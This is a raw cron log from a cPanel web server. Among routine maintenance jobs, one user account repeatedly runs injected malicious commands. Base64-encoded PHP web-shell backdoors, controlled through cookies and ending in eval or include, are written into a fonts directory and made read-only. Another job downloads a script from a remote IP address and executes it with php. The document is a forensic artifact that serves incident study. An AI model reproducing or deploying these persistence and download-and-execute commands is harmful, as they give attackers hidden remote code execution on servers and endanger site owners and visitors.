Aug 31 04:24:01 ip-184-168-122-23 CROND[27955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:24:01 ip-184-168-122-23 CROND[27956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:24:01 ip-184-168-122-23 CROND[27957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:25:02 ip-184-168-122-23 CROND[28085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:25:02 ip-184-168-122-23 CROND[28086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:25:02 ip-184-168-122-23 CROND[28089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:25:02 ip-184-168-122-23 CROND[28092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:25:02 ip-184-168-122-23 CROND[28095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:25:02 ip-184-168-122-23 CROND[28096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:25:02 ip-184-168-122-23 CROND[28097]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 04:26:01 ip-184-168-122-23 CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:26:01 ip-184-168-122-23 CROND[28208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:26:01 ip-184-168-122-23 CROND[28210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:26:01 ip-184-168-122-23 CROND[28212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:26:01 ip-184-168-122-23 CROND[28211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:27:01 ip-184-168-122-23 CROND[28332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:27:01 ip-184-168-122-23 CROND[28333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:27:01 ip-184-168-122-23 CROND[28336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:27:01 ip-184-168-122-23 CROND[28335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:28:01 ip-184-168-122-23 CROND[28521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:28:01 ip-184-168-122-23 CROND[28523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:28:01 ip-184-168-122-23 CROND[28525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:28:01 ip-184-168-122-23 CROND[28526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:28:01 ip-184-168-122-23 CROND[28524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:29:02 ip-184-168-122-23 CROND[28659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:29:02 ip-184-168-122-23 CROND[28661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:29:02 ip-184-168-122-23 CROND[28663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:29:02 ip-184-168-122-23 CROND[28662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:30:01 ip-184-168-122-23 CROND[29032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:30:01 ip-184-168-122-23 CROND[29035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:30:01 ip-184-168-122-23 CROND[29039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:30:01 ip-184-168-122-23 CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:30:01 ip-184-168-122-23 CROND[29040]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 04:30:01 ip-184-168-122-23 CROND[29043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:30:01 ip-184-168-122-23 CROND[29041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:30:01 ip-184-168-122-23 CROND[29044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:30:02 ip-184-168-122-23 CROND[29045]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Aug 31 04:30:02 ip-184-168-122-23 CROND[29051]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:31:01 ip-184-168-122-23 CROND[29183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:31:01 ip-184-168-122-23 CROND[29187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:31:01 ip-184-168-122-23 CROND[29189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:31:01 ip-184-168-122-23 CROND[29188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:31:01 ip-184-168-122-23 CROND[29185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:32:01 ip-184-168-122-23 CROND[29284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:32:01 ip-184-168-122-23 CROND[29286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:32:01 ip-184-168-122-23 CROND[29287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:32:01 ip-184-168-122-23 CROND[29289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:32:01 ip-184-168-122-23 CROND[29288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:33:01 ip-184-168-122-23 CROND[29466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:33:01 ip-184-168-122-23 CROND[29468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:33:01 ip-184-168-122-23 CROND[29469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:33:01 ip-184-168-122-23 CROND[29470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:34:01 ip-184-168-122-23 CROND[29557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:34:01 ip-184-168-122-23 CROND[29560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:34:01 ip-184-168-122-23 CROND[29561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:34:01 ip-184-168-122-23 CROND[29559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:34:01 ip-184-168-122-23 CROND[29563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29678]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:35:01 ip-184-168-122-23 CROND[29684]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:35:01 ip-184-168-122-23 CROND[29685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:36:01 ip-184-168-122-23 CROND[29792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
